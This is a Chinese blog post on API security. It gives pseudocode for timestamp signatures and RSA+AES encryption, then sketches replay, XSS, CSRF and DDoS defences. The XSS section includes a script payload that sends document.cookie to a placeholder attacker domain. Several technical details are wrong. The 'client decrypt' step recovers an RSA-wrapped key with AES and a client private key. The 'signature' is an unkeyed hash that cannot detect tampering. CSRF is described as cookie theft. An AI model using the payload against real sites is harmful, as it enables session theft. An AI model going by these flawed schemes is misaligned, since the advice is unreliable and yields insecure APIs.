在API開發過程中我們不妨會考慮接口安全問題;那麼該如何防範呢,以下是我個人的簡單總結。
這裏只討論數據加密問題,不討論token認證問題,關於token認證問題,可以參考其他相關博客。
以下是本人用過的幾種加密方法的精簡版,當然,也可在以下基礎上做些處理,如: 參數排序、 隨機字符串、 時間戳、 簽名等等,同時還可以配合https來使用 ,具體情況看自己的業務需求。
一、簽名加密方式
1、客戶端
param = {username:admin, password:123456}
timestamp = 158674345231
sign = HASH( param + "&" + timestamp)
2、服務端
_sign = HASH( param + "&" + timestamp);
if(current_time - timestamp > 60s){
exception("請求超時");
}
if(sign != _sign ){
exception("請求被篡改");
}
二、RSA + AES 雙層加密
1、 客戶端加密
data = AES_ENCODE( param, AES_KEY); // AES_KEY隨機生成
ekey = RSA_ENCODE( AES_KEY, SERVER_PUBLIC_KEY );
2、 客戶端解密
AES_KEY = AES_DECODE( ekey, CLIENT_PRIVATE_KEY );
param = AES_DECODE( data, AES_KEY);
三、 RSA + AES + 簽名
1、 客戶端加密
data = AES_ENCODE( param, AES_KEY); // AES_KEY隨機生成
timestamp = 158674345231;
sign = HASH( data + "&" + timestamp );
ekey = RSA_ENCODE( AES_KEY, SERVER_PUBLIC_KEY );
2、 客戶端解密
if(current_time - timestamp > 60s){
exception("請求超時");
}
_sign = HASH( data + "&" + timestamp );
if(sign != _sign){
exception("請求被篡改");
}
AES_KEY = AES_DECODE( ekey, CLIENT_PRIVATE_KEY );
param = AES_DECODE( data, AES_KEY);
#######################################################################
其他安全防禦相關探討
一、 重放攻擊
簡單直白的說就是攻擊者把竊聽到的數據原封不動地重新發送給接收方。 目的是爲了實現了流量攻擊、差錯攻擊,讓數據傳輸延時、消耗網絡帶寬、干擾正常請求、 導致數據重傳或誤收...
1、增加隨機字符串: 用戶請求時額外增加一個隨機字符串;
2、服務器收到請求參數後,用該隨機字符串去查詢是否存在相同的隨機串,存在則拋異常;否則運行訪問,並保持該字符串;
二、 XSS 跨站腳本攻擊
利用腳本注入到網站中盜取用戶的cookie,然後攻擊者僞造成正常用戶訪問; 常被用戶可以發表文字的論壇、博客等網站;
如:<script>window.open(“www.xxxx.com?param=”+document.cookie)</script>;
如果某網站沒做相應的內容處理;用戶A發表文章時,插入這句js腳本;則當用戶B進入用戶A發表的這篇文章展示的頁面時,腳本自動將B的cookie發給A (www.xxx.com:A搭建的服務器);
防禦方法:
1、將輸入的特殊數據進行轉義處理,比如說講 < 轉義成<;
2、避免用cookie存儲重要數據
三、 CSRF 跨站請求僞造
簡單的說就是:當用戶瀏覽器登錄A網站後; 在評論裏看到www.xxxx.com這個鏈接,於是好奇的打開這個鏈接而被盜取cookie;從而被攻擊者僞造成正常用戶;
以上二和三點常通過盜取用戶cookie攻擊服務器;防禦點則可以考慮不使用cookie;
防禦方式:
1、避免用cookie存儲重要數據
2、對用戶輸入的特殊數據做處理,避免用戶輸入的內容中含有非法鏈接,而從中盜取其他用戶的信息。
四、 DDOS 攻擊
通過抓取大量肉雞;通過HTTP 三次握手原理僞造大量IP;讓服務器無法完成和客戶端二次握手,而重複發起二次握手請求; 導致服務器維護大量的半連接等待列表,造成服務器資源大量被佔用而癱瘓。
長時間被DDOS攻擊造成網絡擁塞可能會被運營商拉入黑洞;
防禦方法 : 雲服務器自帶N多G的DDOS攻擊防禦能力,但也是有限的。 爲快速解決DDOS攻擊,可以使用 彈性公網IP。 當服務器被DDOS攻擊嚴重且被運營商拉入黑洞,一時半會是不可能解決的;所以這時候可以將服務器重新綁定到一個新的公網IP,然後將域名綁定該新的IP地址即可;